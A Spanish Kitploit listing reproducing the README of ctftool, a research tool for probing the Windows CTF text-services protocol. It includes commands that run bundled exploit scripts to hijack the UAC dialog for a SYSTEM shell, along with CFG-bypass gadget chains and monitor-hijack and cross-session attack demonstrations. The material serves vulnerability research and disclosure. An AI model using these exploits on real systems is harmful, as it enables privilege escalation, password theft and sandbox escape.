Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ctftool — Herramienta interactiva de exploración de CTF | Kitploit
Herramientas/GitHubGitHub/taviso/ctftool
Frameworks de ExploitsFuzzingPruebas de PenetraciónAprendizaje y EducaciónExplotación de Binarios
GitHubtaviso/ctftool

ctftool

Herramienta interactiva de exploración de CTF

Ver Repositorio
1.7k263hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CTFTOOL

¿Solo quieres probar el exploit SYSTEM? Haz clic aquí.

Video of Exploit

Una herramienta interactiva de exploración de CTF

Esto es ctftool, una herramienta interactiva de línea de comandos para experimentar con CTF, un protocolo poco conocido utilizado en Windows para implementar servicios de texto. Esto puede ser útil para estudiar el funcionamiento interno de Windows, depurar problemas complejos con procesadores de entrada de texto y analizar la seguridad de Windows.

Es posible escribir scripts simples con ctftool para automatizar la interacción con clientes o servidores CTF, o realizar fuzzing simple.

Antecedentes

Hay una publicación de blog que acompaña el lanzamiento de esta herramienta disponible aquí.

https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html

Uso

ctftool ha sido probado en Windows 7, Windows 8 y Windows 10. Se admiten versiones de 32 bits y x64, pero x64 se ha probado más exhaustivamente.

Hay ayuda en línea para la mayoría de los comandos, simplemente escribe help para ver una lista de comandos, y help <comando> para ver ayuda detallada de un comando en particular.

root@kitploit:~
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep           - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script          - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
gadget          - Find the offset of a pattern in a file.
section         - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>

Lo primero que querrás hacer es conectarte a una sesión y ver qué clientes están conectados.

root@kitploit:~
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

Luego puedes experimentar enviando y recibiendo comandos al servidor, o a cualquiera de los clientes conectados.

Compilación

Si no quieres compilarlo tú mismo, consulta la pestaña de lanzamientos

Utilicé GNU make y Visual Studio 2019 para desarrollar ctftool. Solo se admiten compilaciones de 32 bits, ya que esto permite que la herramienta se ejecute en Windows x86 y x64.

Si todas las dependencias están instaladas, simplemente escribir make en un símbolo del sistema para desarrolladores debería ser suficiente.

Uso la variante "Build Tools" de Visual Studio, y los únicos componentes que tengo seleccionados son MSVC, MSBuild, CMake y el SDK.

Este proyecto utiliza submódulos para algunas de las dependencias; asegúrate de usar un comando como este para obtener todo el código necesario.

root@kitploit:~
git submodule update --init --recursive

Exploit

Los ejemplos solo funcionan en Windows 10 x64. Todas las plataformas y versiones desde Windows XP están afectadas, pero actualmente no hay PoC implementado.

Esta herramienta se utilizó para descubrir muchos problemas de seguridad críticos con el protocolo CTF que han existido durante décadas.

Si solo quieres probar un exploit en Windows 10 x64 1903, ejecuta o haz doble clic en ctftool.exe e ingresa este comando:

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf

Esto esperará a que aparezca el cuadro de diálogo de UAC, lo comprometerá e iniciará un shell.

De hecho, el código del exploit está dividido en dos etapas que puedes usar de forma independiente. Por ejemplo, es posible que quieras comprometer un proceso perteneciente a un usuario en una sesión diferente usando los parámetros opcionales de connect.

La mayoría de los clientes CTF pueden ser comprometidos, ya que el kernel obliga a las aplicaciones que dibujan ventanas a cargar la biblioteca vulnerable.

Simplemente conéctate a una sesión, selecciona un cliente para comprometer (usa los comandos scan y thread, o simplemente wait), luego:

root@kitploit:~
ctf> script .\scripts\ctf-exploit-common-win10.ctf

Notas sobre la explotación

Construir una cadena de salto CFG que funcionara en la mayoría de los clientes CTF fue bastante desafiante. Hay dos componentes principales en el exploit final: una primitiva de escritura arbitraria y luego configurar nuestros registros para llamar a LoadLibrary().

Puedes usar dumpbin /headers /loadconfig para volcar los destinos de rama permitidos.

Escritura arbitraria

Necesitaba un gadget de escritura arbitraria para crear objetos en una ubicación predecible. El mejor gadget utilizable que pude encontrar fue un decremento de dword arbitrario en msvcrt!_init_time.

Esto significa que, en lugar de simplemente establecer los valores que queremos, tenemos que seguir decrementando hasta que el LSB alcance el valor deseado. Esto es mucho trabajo, pero nunca tenemos que hacer más de (2^8 - 1) * len decrementos.

Escritura por decremento

Usando esta primitiva, construyo un objeto como este en algún espacio libre no utilizado en la sección .data de kernel32. Debe ser parte de una imagen para poder predecir dónde se asignará, ya que la aleatorización de imágenes es por arranque en Windows.

Diseño del objeto falso

Había (por supuesto) muchos gadgets de escritura arbitraria; el problema era recuperar el control de la ejecución después de la escritura. Esto resultó ser bastante desafiante, y esa es la razón por la que me quedé con un decremento de dword en lugar de algo más simple.

MSCTF captura todas las excepciones, así que el desafío era encontrar una escritura arbitraria que no desordenara la pila para que SEH sobreviviera, o que colapsara muy rápidamente sin causar daños.

El gadget msvcrt!_init_time fue el mejor que pude encontrar; en pocas instrucciones desreferencia NULL sin corromper más memoria. Esto significa que podemos repetirlo ad infinitum.

Redirección de la ejecución

Encontré dos gadgets útiles para ajustar registros. El primero fue:

root@kitploit:~
combase!CStdProxyBuffer_CF_AddRef:
      mov     rcx,qword ptr [rcx-38h]
      mov     rax,qword ptr [rcx]    
      mov     rax,qword ptr [rax+8]  
      jmp     qword ptr [combase!__guard_dispatch_icall_fptr]

Y el segundo fue:

root@kitploit:~
MSCTF!CCompartmentEventSink::OnChange:
      mov     rax,qword ptr [rcx+30h]
      mov     rcx,qword ptr [rcx+38h]
      jmp     qword ptr [MSCTF!_guard_dispatch_icall_fptr]

Combinando estos dos gadgets con el objeto que formamos con nuestro gadget de escritura, podemos redirigir la ejecución a kernel32!LoadLibraryA rebotando entre ellos.

Esto fue complicado, pero la secuencia de salto funciona así:

Secuencia de la cadena de exploit

Si estás interesado, recomiendo observarlo en un depurador. Ten en cuenta que necesitarás usar el comando sxd av y sxd bpe o el depurador se detendrá en cada escritura.

Ataques de sesión de edición

Además de la corrupción de memoria, una clase importante de vulnerabilidades expuesta por CTF son los ataques de sesión de edición. Normalmente, un proceso no privilegiado (por ejemplo, de baja integridad) no tendría permitido enviar entradas o leer datos de un proceso de alta integridad. Este límite de seguridad se llama UIPI, User Interface Privilege Isolation.

CTF rompe estas suposiciones y permite que procesos no privilegiados envíen entrada a procesos privilegiados.

Hay algunos requisitos para que este ataque funcione; hasta donde sé, solo funcionará si tienes instalado un idioma de visualización que utilice un TIP fuera de proceso, out-of-process text input processor. Los usuarios con idiomas de entrada que usan IME (chino, japonés, coreano, etc.) y los usuarios con herramientas de accesibilidad entran en esta categoría.

Los ejemplos de ataques incluyen...

  • Enviar comandos a una ventana de comandos elevada.
  • Leer contraseñas de cuadros de diálogo o la pantalla de inicio de sesión.
  • Escapar de cajas de arena IL/AppContainer enviando entrada a ventanas no aisladas.

Hay un script de ejemplo en el directorio de scripts que enviará entrada a una ventana de Notepad para demostrar cómo funcionan las sesiones de edición.

Edit Session Screenshot

Secuestro del monitor

Debido a que no hay autenticación entre clientes y servidores en el protocolo CTF, un atacante con los privilegios necesarios para escribir en \BaseNamedObjects puede crear el puerto ALPC de CTF y hacerse pasar por el monitor.

Esto permite eludir todas y cada una de las restricciones impuestas por el monitor.

Si quieres experimentar con este ataque, prueba el comando hijack en ctftool.

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...
A a message received
        ProcessID: 4352, SearchUI.exe
        ThreadId: 4420
        WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
        WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
...

Ataques entre sesiones

No hay aislamiento de sesión en el protocolo CTF; cualquier proceso puede conectarse a cualquier servidor CTF. Por ejemplo, un usuario de Terminal Services puede interactuar con los procesos de cualquier otro usuario, incluso el Administrador.

El comando connect en ctftool admite la conexión a sesiones no predeterminadas si quieres experimentar con este ataque.

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.

Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.

If a connection is already open, the existing connection is closed first.

If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
 Connect to the monitor for current desktop
  ctf> connect
 Connect to a specific desktop and session.
  ctf> connect Default 1
Most commands require a connection, see "help connect".

Estado

Al momento de escribir esto, se desconoce cómo Microsoft cambiará el protocolo CTF en respuesta a los numerosos defectos de diseño que esta herramienta ayudó a exponer.

Por esa razón, considera que esta herramienta está en estado de prueba de concepto.

Versiones y plataformas compatibles

Todas las versiones de Windows desde Windows XP usan CTF, en todas las plataformas compatibles.

Aunque no formaba parte del sistema base hasta XP, versiones tan tempranas como Windows 98 y NT4 usarían CTF si hubieras instalado Microsoft Office.

ctftool es compatible con Windows 7 y posteriores en x86 y x64, pero versiones anteriores y otras plataformas podrían ser compatibles, y se agradecerían contribuciones.

Acrónimo

Microsoft no documenta qué significa CTF, no se explica en ninguna de las documentaciones de servicios de texto, ejemplos del SDK, nombres de símbolos, archivos de encabezado ni en ningún otro lugar. Mi teoría es que proviene de CTextFramework, como se podría nombrar la clase en notación húngara.

Hay algunos sitios web que afirman que ctfmon tiene algo que ver con Clear Type Fonts o Azure Collaborative Translation Framework. Están equivocados.

Actualización: Jake Nelson encuentra evidencia de "Common Text Framework"

Autores

Tavis Ormandy [email protected]

Licencia

Todo el código original tiene licencia Apache 2.0. Consulta el archivo LICENSE para más detalles.

Los siguientes componentes son proyectos de terceros importados.

  • pe-parse, de Andrew Ruef et al.
    • pe-parse se utiliza para implementar un GetProcAddress() para módulos de 64 bits desde un proceso de 32 bits. Se utiliza en el comando symbol y permite que el mismo binario funcione en x64 y x86.
  • wineditline, de Paolo Tosco.
    • wineditline se utiliza para implementar la entrada de línea de comandos fácil de usar y la edición de historial.
  • dynamorio, de Derek Bruening et al.
    • Tomé prestados algunos de los prototipos y definiciones de tipos de DR.
  • ntdll.h, de Ladislav Zezula.
    • Ladislav recopiló algunas definiciones de estructuras y prototipos de varias versiones de WDK, DDK, SDK en un solo archivo conveniente.
Descargar herramienta